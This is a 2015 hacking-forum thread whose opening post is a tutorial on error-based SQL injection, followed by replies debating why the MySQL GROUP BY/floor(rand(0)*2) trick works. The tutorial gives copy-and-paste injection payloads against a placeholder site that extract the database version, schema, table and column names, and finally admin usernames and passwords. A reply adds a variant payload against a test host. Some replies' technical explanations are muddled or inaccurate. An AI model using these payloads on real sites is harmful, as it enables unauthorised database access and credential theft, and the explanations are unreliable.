

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] Error Based SQL Injection](#)

-zERaIT - March 19, 2015, 9:33 am

Error Based SQL Injection Assuming you've found yourself a website vulnerable to SQL Injections, we'll continue with an Error Based SQL Injection now.

PHP Code

```
<?php
```

```
www.site.com/index.php?id=1
```

What is Error Based SQL Injection?

Error Based SQL Injection is when UNION select functions don't work, with Error Based we're creating a query which will return into an error and provide us with the information we need.

You can use error based when you hit up against the following errors: Union select doesn't work at all

Unknown column 1

Getting database version

Add

PHP Code

```
<?php
```

```
or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1--
```

Example:

PHP Code

```
<?php
```

```
www.site.com/index.php?id=1 or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1--
```

The site will return with the version, for example "5.0.33.cc".

Getting the database name

Add

PHP Code

```
<?php
```

```
and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
```

Example:

PHP Code

```
<?php
```

```
www.site.com/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
```

We're using a limit function because a website can have more databases. Increase the limit function until you found all the databases. You can increase the limit function to "1,1" "2,1" etcetra. For example we found the database "website".

Getting table names

Add

PHP Code

```
<?php
```

```
and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e))
from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x
from information_schema.tables group by x)a)
```

Example

PHP Code

```
<?php
```

```
www.site.com/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(
table_name as char),0x7e)) from information_schema.tables where table_schema=database()
limit 0,1),floor(rand(0)*2))x
from information_schema.tables group by x)a)
```

Yet again, you'll have to increase the limit function when searching for tables.
For example we'll have the table name "admins".

Getting columns from tables

Add

PHP Code

```
<?php
```

```
and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e))
from information_schema.columns where table_name=0xTABLENAMEINHEX limit 0,1),floor(rand(0
)*2))x
from information_schema.tables group by x)a)
```

You'll have to change your table name into hex, do that on one of the websites below.

Quote:<http://www.swingnote.com/tools/texttohex.php>

<http://hex.online-toolz.com/tools/text-hex-converto.php>

<http://www.unit-conversion.info/texttools/hexadecimal/>

So my database was called: "admins", I've converted this in the following hex code:
"61646d696e73".

NOTE: You must add "0x" in front of your hex code to make it readable.

Example

PHP Code

```
<?php
```

```
www.site.com/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(
column_name as char),0x7e)) from information_schema.columns where table_name=
0x61646d696e73
limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
```

Yet again, you'll have to increase the limit function when searching for tables.
For example we'll have the column names "username" and "password".

Getting data from columns

Add

PHP Code

```
<?php
```

```
and (select 1 from (select count(*),concat((select(select concat(cast(concat("COLUMN1",0x7e,"COLUMN2") as char),0x7e)) from "DBNAME"."TABLENAME" limit 0,1),floor(rand(0)*2))x
from information_schema.tables group by x)a)
```

You'll have to replace everything within quotes with the correct information.

Going from the information provided in the examples we'll have to replace the following:

COLUMN1 = username

COLUMN2 = password

DBNAME = website

TABLENAME = admins

Example

PHP Code

```
<?php
```

```
www.site.com/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(
concat(username,0x7e,password) as char),0x7e)) from website.admins
limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
```

This will give us the username and password.

If you have any questions, feel free to post them below or PM me directly.

Thanks for viewing my thread.?

Th3PonyWizard - March 19, 2015, 2:05 pm

Do you happen to know why anything is the query is the way it is?

-zERaIT - March 19, 2015, 2:26 pm

(Mar 19, 2015 02:05 PM)Th3PonyWizard Wrote: [\[CITE\]](#) Do you happen to know why anything is the query is the way it is?

What are you on about pony? And yes, I understand what the query does.

Th3PonyWizard - March 19, 2015, 2:38 pm

(Mar 19, 2015 02:26 PM)-zERaIT Wrote: [\[CITE\]](#) What are you on about pony? And yes, I understand what the query does. I don't think you do. In fact, nobody does. I don't. This query is a result of a complete bug in the MySQL engine from 2011 that nobody knows anything about, nobody tried to fix, and is a complete weird mystery.

<http://bugs.mysql.com/bug.php?id=60808>

I'll write my own tutorial the next weekend to address this attack completely, but thank you for bringing this up to air. Every single Error based tutorial is like this - Laying out the queries, reading them up for copy and paste. I agree that you're trying to explain, and I truly think you did good for that. Keep it up.

-zERaIT - March 19, 2015, 2:46 pm

(Mar 19, 2015 02:38 PM)Th3PonyWizard Wrote: [\[CITE\]](#) I don't think you do. In fact, nobody does. I don't. This query is a result of a complete bug in the MySQL engine from 2011 that nobody knows

anything about, nobody tried to fix, and is a complete weird mystery.

<http://bugs.mysql.com/bug.php?id=60808>

I'll write my own tutorial the next weekend to address this attack completely, but thank you for bringing this up to air. Every single Error based tutorial is like this - Laying out the queries, reading them up for copy and paste. I agree that you're trying to explain, and I truly think you did good for that. Keep it up.

I agree with you on that, could've explained more but I indeed have little to no knowledge about the bug in the MySQL engine.

Eitherway, looking forward to your tutorial!

Thanks for your feedback tho, it's appreciated.

Th3PonyWizard - March 19, 2015, 2:55 pm

(Mar 19, 2015 02:46 PM)-zERaIT Wrote: [\[CITE\]](#) I agree with you on that, could've explained more but I indeed have little to no knowledge about the bug in the MySQL engine.

Eitherway, looking forward to your tutorial!

Thanks for your feedback tho, it's appreciated.Yeah. Mind 'sum more?

Code or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1--or 1-- isn't needed as far as I'm concerned. It's basically like

"ALL THIS QUERY" or 1. 1 is always 1. feels redundant to me, and u can see it works here without it

Code [http://mytestinghostlol.altervista.org/SQLi/sqli_1.php?id=1' or 1 group by concat\(version\(\), floor\(rand\(0\)*2\)\) having min\(0\)--+](http://mytestinghostlol.altervista.org/SQLi/sqli_1.php?id=1' or 1 group by concat(version(), floor(rand(0)*2)) having min(0)--+)

instead of or 1, you can seal the query with a perm comment trail with the sign of a plus

-zERaIT - March 19, 2015, 3:04 pm

(Mar 19, 2015 02:55 PM)Th3PonyWizard Wrote: [\[CITE\]](#) Yeah. Mind 'sum more?

Code or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1--or 1-- isn't needed as far as I'm concerned. It's basically like

"ALL THIS QUERY" or 1. 1 is always 1. feels redundant to me, and u can see it works here without it

Code [http://mytestinghostlol.altervista.org/SQLi/sqli_1.php?id=1' or 1 group by concat\(version\(\), floor\(rand\(0\)*2\)\) having min\(0\)--+](http://mytestinghostlol.altervista.org/SQLi/sqli_1.php?id=1' or 1 group by concat(version(), floor(rand(0)*2)) having min(0)--+)

instead of or 1, you can seal the query with a perm comment trail with the sign of a plus

Interesting, should've seen that myself as it's pretty much common sense that 1 is always 1. I'll add that to the thread tomorrow because I'm currently on my phone.

Thanks, again!

benzi - March 19, 2015, 3:20 pm

(Mar 19, 2015 02:38 PM)Th3PonyWizard Wrote: [\[CITE\]](#) I don't think you do. In fact, nobody does. I don't. This query is a result of a complete bug in the MySQL engine from 2011 that nobody knows anything about, nobody tried to fix, and is a complete weird mystery.

<http://bugs.mysql.com/bug.php?id=60808>

I'll write my own tutorial the next weekend to address this attack completely, but thank you for bringing this up to air. Every single Error based tutorial is like this - Laying out the queries, reading

them up for copy and paste. I agree that you're trying to explain, and I truly think you did good for that. Keep it up.

"nobody" is a strong word.

its not a problem to explain this query, just need a little understanding with mysql error layers and null concatenation.

there are 3 layers in mysql, input layer, server layer, and output layer.

for example, if the query is

Code SELECT !0;

in the input layer, we will see it like that-

Code SELECT !0;

in the server layer, we will see this-

Code SELECT not(0);

and in the output layer, we will see that-

Code SELECT 1;

in the "big" error based query, the (select 1 from) is to travel from the server layer to the output layer.

after that, we used count(*) because count() is a function that cant return NULL.

after that, we concat our data with floor(rand(0)*2).

floor(rand(0)*2) will return 011010 or something like that.

after that we did group by on the concat.

because the 2nd output of floor and 3rd are the same, we get an error, because we cant group the same thing twice.

so when the error comes up on the "1", our data will be next to it, because we concat them.

in other error based, like updatexml(), we dont need to use (select 1 from) because the error is already in the output layer.

Th3PonyWizard - March 19, 2015, 3:32 pm

(Mar 19, 2015 03:20 PM)benzi Wrote: [CITE](#) "nobody" is a strong word.

its not a problem to explain this query, just need a little understanding with mysql error layers and null concatenation.

there are 3 layers in mysql, input layer, server layer, and output layer.

for example, if the query is

Code SELECT !0;

in the input layer, we will see it like that-

Code SELECT !0;

in the server layer, we will see this-

Code SELECT not(0);

and in the output layer, we will see that-

Code SELECT 1;

in the "big" error based query, the (select 1 from) is to travel from the server layer to the output layer.

after that, we used count(*) because count() is a function that cant return NULL.

after that, we concat our data with floor(rand(0)*2).

floor(rand(0)*2) will return 011010 or something like that.

after that we did group by on the concat.

because the 2nd output of floor and 3rd are the same, we get an error, because we cant group the same thing twice.

so when the error comes up on the "1", our data will be next to it, because we concat them.

in other error based, like updatexml(), we dont need to use (select 1 from) because the error is already in the output layer. I've read all of this explanation

Quote: floor(rand(0)*2) will return 011010 or something like that.

after that we did group by on the concat. yeah but why? floor() tries to round up any given numeric value to an integer, and then what? You multiply it by two? It still works when u multiply it by 4 and

6, or -2. you have tons of duplicates within the returned bytes, why does suddenly this duplicated entry is important and why does it makes the string concentrated to it execute?

You know how it works yes, but not why and the answer to the "why" question is what I'm looking for. Bit wise, machine code, whatever. I'm not understanding this behavior.

the way I'm taking it is that this is eventually undefined behavior / bug / a form of a buffer overflowing

benzi - March 19, 2015, 3:51 pm

well, floor converting float to int.

when we use round(0), the output is somewhere between 0 and 1.

as we said before, the error comes when the output is 1.

so by multiply, the chances are way bigger to get 1.something than 0.something.

the point of "1" is "true", so we can use any number that is not 0.

we also dont want to pick a number thats too big, because int is limited to 32k.

so maybe we can just write 1 instead of floor(rand(0)*2)?

no, we cant.

this 1 should be an output of aggregate function, because this error based on group by.
understand it better now?

Th3PonyWizard - March 19, 2015, 4:07 pm

(Mar 19, 2015 03:51 PM)benzi Wrote: [\[CITE\]](#) well, floor converting float to int.

when we use round(0), the output is somewhere between 0 and 1.

as we said before, the error comes when the output is 1.

so by multiply, the chances are way bigger to get 1.something than 0.something.

the point of "1" is "true", so we can use any number that is not 0.

we also dont want to pick a number thats too big, because int is limited to 32k.

so maybe we can just write 1 instead of floor(rand(0)*2)?

no, we cant.

this 1 should be an output of aggregate function, because this error based on group by.

understand it better now?Sort of. I wanna see this for myself and test it somewhere, because you said here something that needs testing - "because we cant group the same thing twice". Is this the actual source of this attack? But I'm sure there's ways you can without causing this error